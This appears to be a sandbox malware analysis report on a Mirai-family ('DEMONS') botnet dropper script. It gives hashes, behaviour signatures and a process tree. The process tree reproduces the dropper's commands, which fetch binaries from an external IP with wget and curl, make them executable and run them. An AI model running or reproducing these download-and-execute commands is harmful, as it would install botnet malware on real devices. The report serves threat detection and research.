Overview

overview

10

Static

static

1

GuruITDDoS3.sh

ubuntu-18.04-amd64

10

GuruITDDoS3.sh

debian-9-armhf

10

GuruITDDoS3.sh

debian-9-mips

10

GuruITDDoS3.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    146s
  • max time network
    143s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27-12-2024 06:56

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General

  • Target

    GuruITDDoS3.sh

  • Size

    2KB

  • MD5

    c01f89f66afa819108643774b814bfaf

  • SHA1

    abde31c7a7b764f70527ef07b3f57a9993b949b8

  • SHA256

    ce9a5d9b5c25ecfcde1c946901db42efdfa881de812e2a1cab84b1650b057a7a

  • SHA512

    a5e94401ba1d9e605e4c65143c57eb3235ee0a6a63f71e55a129e57cf6252c33f51aa2ee46271796d7b21f28eb1cbbbd6fa0d380de376714dcc17e05ebd06f80

Score
10/10
miraidemonsbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

mirai

Botnet

DEMONS

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Writes file to system bin folder 1 IoCs
  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/GuruITDDoS3.sh
    /tmp/GuruITDDoS3.sh
    1⤵
    • Writes file to tmp directory
    PID:1518
    • /usr/bin/wget
      wget http://5.175.237.74/GuruITDDoS/RpcSecurity.x86
      2⤵
      • Writes file to tmp directory
      PID:1519
    • /usr/bin/curl
      curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.x86
      2⤵
      • Writes file to tmp directory
      PID:1523
    • /bin/cat
      cat RpcSecurity.x86
      2⤵
        PID:1524
      • /bin/chmod
        chmod +x config-err-bYW23X GuruITDDoS3.sh netplan_44uhchce RpcSecurity RpcSecurity.x86 snap-private-tmp ssh-SlhsJnDtP5hu systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-bolt.service-J3pb8w systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-colord.service-ZQOpUA systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-ModemManager.service-pKvnjZ systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-systemd-resolved.service-fVywCd systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-systemd-timedated.service-kOctBP
        2⤵
        • File and Directory Permissions Modification
        PID:1525
      • /tmp/RpcSecurity
        ./RpcSecurity
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Writes file to system bin folder
        • Changes its process name
        • Reads system network configuration
        PID:1526
      • /usr/bin/wget
        wget http://5.175.237.74/GuruITDDoS/RpcSecurity.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1528
      • /usr/bin/curl
        curl -O http://5.175.237.74/GuruITDDoS/RpcSecurity.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1530
      • /bin/chmod
        chmod +x config-err-bYW23X GuruITDDoS3.sh netplan_44uhchce RpcSecurity RpcSecurity.mips RpcSecurity.x86 snap-private-tmp ssh-SlhsJnDtP5hu systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-bolt.service-J3pb8w systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-colord.service-ZQOpUA systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-ModemManager.service-pKvnjZ systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-systemd-resolved.service-fVywCd systemd-private-61e8684faa9d4135aa1afa0e4d774cbb-systemd-timedated.service-kOctBP
        2⤵
        • File and Directory Permissions Modification
        PID:1532
      • /tmp/RpcSecurity
        ./RpcSecurity
        2⤵
        • Executes dropped EXE
        • Enumerates active TCP sockets
        • Reads system network configuration
        PID:1533

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • /tmp/RpcSecurity.x86
      Filesize

      54KB

      MD5

      7e83ac9f8b9ae088c5336df0d874926f

      SHA1

      a5fe7d25942a9f04f8a4cfb57d5781d7042a48d5

      SHA256

      1b8b5cc9cb64473380cd6898f7580339f38a3cd6e7f90d1768c7842e998bb3ed

      SHA512

      0e4dda062bb583dad01c1a9ab9018303003dce5078c30af63b222fa82b93f4fc19bc0bdd6e8f4c3024b0d9502470bbf26238ea991f08ded59e040b89f3156d2b

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